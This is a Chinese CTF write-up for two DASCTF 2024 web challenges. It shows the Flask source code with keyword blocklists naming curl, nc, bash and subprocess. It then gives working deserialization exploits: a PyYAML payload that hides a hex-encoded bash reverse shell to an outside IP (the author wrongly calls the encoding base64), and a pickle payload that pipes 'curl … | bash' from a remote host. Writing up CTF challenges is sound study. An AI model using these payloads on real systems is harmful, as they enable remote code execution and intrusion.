Dasctf2024最后一战

yaml_matser

import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()


    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))

@app.route('/')
def index():
    return '''
    Welcome to DASCTF X 0psu3
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/Yam1">Yam1</a>
    '''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            uploaded_file = request.files['file']

            if uploaded_file and is_yaml_file(uploaded_file.filename):
                file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
                uploaded_file.save(file_path)

                return jsonify({"message": "uploaded successfully"}), 200
            else:
                return jsonify({"error": "Just YAML file"}), 400

        except Exception as e:
            return jsonify({"error": str(e)}), 500


    return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'


if __name__ == '__main__':
    app.run()

我是蠢猪,新版pyyaml用旧版的打了1小时.eval被禁用了,直接用exec,payload如下

!!python/object/new:type

 args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]

 listitems: "exec(bytes.fromhex('5f5f696d706f72745f5f28276f7327292e73797374656d282762617368202d63205c27657865632062617368202d69203e26202f6465762f7463702f3130312e34332e34392e3138332f313732373120303e263120323e26315c272729').decode())"

其中hex部分base64解码如下

__import__('os').system('bash -c \'exec bash -i >& /dev/tcp/101.43.49.183/17271 0>&1 2>&1\'')

const_python

/src路由泄露源码

import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

发现存在pickle反序列化执行路由.没禁用subprocess,网上抄个payload直接打.

i = 0
s = 'curl http://123.57.23.40/1.sh/ | bash'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
sp = GLOBAL('subprocess', 'getoutput')
sp(s)
return

pker生成payload,把\n替换为真正的换行,base64编码以后直接打curl弹shell,得到flag.